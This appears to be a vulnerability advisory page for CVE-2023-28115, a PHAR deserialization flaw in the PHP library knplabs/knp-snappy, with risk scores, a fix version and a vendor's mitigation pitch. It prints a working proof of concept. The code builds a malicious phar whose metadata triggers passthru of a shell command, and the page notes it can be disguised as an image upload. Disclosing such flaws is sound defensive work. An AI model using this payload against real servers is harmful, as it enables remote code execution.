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GHSA-gq6w-q6wh-jggc

CRITICAL

PHAR deserialization allowing remote code execution

Also known asCVE-2023-28115
Published
Mar 17, 2023
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known

EPSS Exploitation Probability

via FIRST.org ↗
3.2%probability of exploitation in next 30 days
Lower Risk87th percentile-8.18%
0.00%7.49%15.0%22.5%18.0%3.2%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘knplabs/knp-snappy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Description

snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.

Proof of Concept

Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.

<?php
// index.php

// include autoloader
require __DIR__ . '/vendor/autoload.php';

// reference the snappy namespace
use Knp\Snappy\Pdf;

// vulnerable object
class VulnerableClass {
    public $fileName;
    public $callback;

    function __destruct() {
        call_user_func($this->callback, $this->fileName);
    }
}

$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');

As an attacker, we going to generate the malicious phar using this script.

<?php
// generate_phar.php

class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

// Add a new file in the archive with "text" as its content
$poc["file"] = "text";

// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);

// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Then run these command to generate the file

php --define phar.readonly=0 generate_phar.php

Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.

Impact

This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.

Occurences

https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistknplabs/knp-snappyall versions1.4.2
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for knplabs/knp-snappy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update knplabs/knp-snappy to 1.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq6w-q6wh-jggc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gq6w-q6wh-jggc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gq6w-q6wh-jggc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. ## Proof
O3 Security · Impact-Aware SCA

Is GHSA-gq6w-q6wh-jggc in your dependencies?

O3 detects GHSA-gq6w-q6wh-jggc across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.